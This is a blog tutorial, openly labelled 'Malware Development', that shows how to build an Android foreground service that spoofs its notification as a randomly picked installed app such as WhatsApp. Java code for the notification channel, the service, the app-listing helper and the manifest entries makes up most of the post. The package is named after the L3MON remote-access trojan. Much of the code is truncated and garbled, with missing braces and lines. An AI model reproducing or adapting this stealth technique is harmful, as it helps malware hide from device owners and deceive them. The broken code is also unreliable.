How to Create Spoof Foreground Running Service programmatically | Malware Development


Hi Hackers welcome back our new blog post. in this blog post I will show you How to Add Spoof Foreground Notification service also How to Create Fake Foreground Running Service. so without wasting your time. let's start coding...

What is Spoof Foreground android app

within the spoof foreground service, the service of your application becomes bind with someone else.

For ex. if the name of your service is Google. if the user look in the foreground. then the name of your service will be changed differently. Like whatsapp running, or any other app for your device. as soon as the user click on the service, it will open the application which will be visible to him inside the foreground.

Step-1 Create Notification File android app

first of all import your android app project in android studio.

now you have to create a java file which name or also change it. inside this file we have to add the Notification Channel code. you can copy the below code and add it inside.

package com.etechd.l3mon;

import android.os.Build;

public class GApp extends Application {
    public static final String CHANNEL_ID = "keyboardServiceChannel";

    public void onCreate() {


    private void createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel serviceChannel = new NotificationChannel(
                    "Alpha Service Channel",

            NotificationManager manager = getSystemService(NotificationManager.class);
            assert manager != null;


Step-2 How to add foreground service in android app

Now we have to foreground service file inside our app, so that we can define. for this, you can create file, which is available for our foreground service. you can copy the below code and add it inside.

package com.etechd.l3mon;

import static com.etechd.l3mon.GApp.CHANNEL_ID;

import android.content.Intent;
import android.os.IBinder;
import android.util.Log;

import java.util.List;
import java.util.Random;
public class Gservice extends Service {

    private static final String TAG = "Gservice";

    public static final String MY_PREFS_NAME = "GPrefs";
    public static final String MY_PREFS_STRING_KEY = "GPrefsStringsKey";

    private String ApplicationPackageName;


    public static final String MY_PREFS_Notification_Count_KEY = "GPrefsNotificationCountKey";
    public static final String MY_PREFS_Text_Count_KEY = "GPrefsText_CountKey";
    public static final String MY_PREFS_FOCUSED_Count_KEY = "GPrefsFOCUSED_CountKey";
    public static final String MY_PREFS_Clicks_Count_KEY = "GPrefsClicks_CountKey";


    public void onCreate() {

        //  startname();


    //@RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN_MR2)
    public int onStartCommand(Intent intent, int flags, int startId) {
        //final Object foo = new Object();

        ApkInfoExtractor apkInfoExtractor = new ApkInfoExtractor(getApplicationContext());

        List arrayList = new ApkInfoExtractor(getApplicationContext()).GetAllInstalledApkInfo();

        Random random = new Random();
        int randomNumber = random.nextInt(arrayList.size() - 5) + 5;

        String PACKAGE_NAME = getApplicationContext().getPackageName();

        ApplicationPackageName = (String) arrayList.get(randomNumber);

        while (PACKAGE_NAME.equals(ApplicationPackageName)) {

            Random random1 = new Random();
            int randomNumber1 = random1.nextInt(arrayList.size() - 5) + 5;

            ApplicationPackageName = (String) arrayList.get(randomNumber1);


        String ApplicationLabelName = apkInfoExtractor.GetAppName(ApplicationPackageName);

        Log.i("MainActivity", ApplicationLabelName + "    " + ApplicationPackageName);

        Intent notificationIntent = getPackageManager().getLaunchIntentForPackage(ApplicationPackageName);
        PendingIntent pendingIntent = PendingIntent.getActivity(this,
                0, notificationIntent, 0);

        Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
                .setContentText(ApplicationLabelName + " is running...")

        startForeground(1, notification);

        Constraints constraints= new Constraints.Builder()

        PeriodicWorkRequest request = new PeriodicWorkRequest.Builder(
                EmailWorker.class, 5, TimeUnit.MINUTES)

        // WorkManager.getInstance(getApplicationContext()).enqueue(request);


        return START_STICKY;


    public void onDestroy() {


    public IBinder onBind(Intent intent) {
        return null;


Step-3 Create Android icon vector in drawable

Now you need to create an Android vector file. inside the drawable folder so that when your application is run on android phone, the the icon of your vector file is placed on the foreground service.


<vector xmlns:android=""







        android:pathData="M6,18c0,0.55 0.45,1 1,1h1v3.5c0,0.83 0.67,1.5 1.5,1.5s1.5,-0.67 1.5,-1.5L11,19h2v3.5c0,0.83 0.67,1.5 1.5,1.5s1.5,-0.67 1.5,-1.5L16,19h1c0.55,0 1,-0.45 1,-1L18,8L6,8v10zM3.5,8C2.67,8 2,8.67 2,9.5v7c0,0.83 0.67,1.5 1.5,1.5S5,17.33 5,16.5v-7C5,8.67 4.33,8 3.5,8zM20.5,8c-0.83,0 -1.5,0.67 -1.5,1.5v7c0,0.83 0.67,1.5 1.5,1.5s1.5,-0.67 1.5,-1.5v-7c0,-0.83 -0.67,-1.5 -1.5,-1.5zM15.53,2.16l1.3,-1.3c0.2,-0.2 0.2,-0.51 0,-0.71 -0.2,-0.2 -0.51,-0.2 -0.71,0l-1.48,1.48C13.85,1.23 12.95,1 12,1c-0.96,0 -1.86,0.23 -2.66,0.63L7.85,0.15c-0.2,-0.2 -0.51,-0.2 -0.71,0 -0.2,0.2 -0.2,0.51 0,0.71l1.31,1.31C6.97,3.26 6,5.01 6,7h12c0,-1.99 -0.97,-3.75 -2.47,-4.84zM10,5L9,5L9,4h1v1zM15,5h-1L14,4h1v1z"/>


Step-4 How to create Spoof App service android app

Now you have to create the file, so that your foreground service can be spoof with someone else. with help of this file code, whatever application is installed on your phone, those application will be picked up at random and bind with your foreground service.

package com.etechd.l3mon;

import android.content.Context;
import android.content.Intent;

import androidx.core.content.ContextCompat;

import java.util.ArrayList;
import java.util.List;

public class ApkInfoExtractor {

    Context context1;

    public ApkInfoExtractor(Context context2){

        context1 = context2;

    public List GetAllInstalledApkInfo(){

        List ApkPackageName = new ArrayList<>();

        Intent intent = new Intent(Intent.ACTION_MAIN,null);



        List resolveInfoList = context1.getPackageManager().queryIntentActivities(intent,0);

        for(ResolveInfo resolveInfo : resolveInfoList){

            ActivityInfo activityInfo = resolveInfo.activityInfo;



        return ApkPackageName;


    public boolean isSystemPackage(ResolveInfo resolveInfo){

        return ((resolveInfo.activityInfo.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);

    public Drawable getAppIconByPackageName(String ApkTempPackageName){

        Drawable drawable;

            drawable = context1.getPackageManager().getApplicationIcon(ApkTempPackageName);

        catch (PackageManager.NameNotFoundException e){


            drawable = ContextCompat.getDrawable(context1, R.mipmap.ic_launcher);
        return drawable;

    public String GetAppName(String ApkPackageName){

        String Name = "";

        ApplicationInfo applicationInfo;

        PackageManager packageManager = context1.getPackageManager();

        try {

            applicationInfo = packageManager.getApplicationInfo(ApkPackageName, 0);


                Name = (String)packageManager.getApplicationLabel(applicationInfo);

        }catch (PackageManager.NameNotFoundException e) {

        return Name;


Step-5 Fix Android Support Library Class

after creating all three files, now you can show error inside your code, so to fix it up you have to add a android support library code inside your build.gradle file. and also you can change targetSDK version. like: 22. more info see below image.

implementation ''

Step-5 Add Foreground Intent in MainActivity File

after creating these files, now you have add your foreground file Intent in Your MainActivity file, so that when you click on your application, then your foreground service will also start with MainActivity.

Intent serviceIntent = new Intent(this, Gservice.class);
        //serviceIntent.putExtra("inputExtra", "Alpha");

        ContextCompat.startForegroundService(this, serviceIntent);

Step-7 Add service file in AndroidManifest file

after adding these files, now you have to point your Gservice or GApp file inside the android manifest file. remember, in which you should not make any mistake, otherwise your application may get crashed.

<service android:name=".Gservice"/>

Step-8 Build Spoof foreground service android programmatically

after adding all the things, now your application has to be Build. after build I will test it on my android phone version 11 and show you it is working or not. 

so as you can see here. our application successfully spoofed foreground service. we have binded the foreground service with WhatsApp.


so in this post we will learned, how to create spoof foreground service in malware. and also how to build spoof foreground malware, so I hope you like this post and enjoy it, and I will see you in the next post Thnaks :)

Post a Comment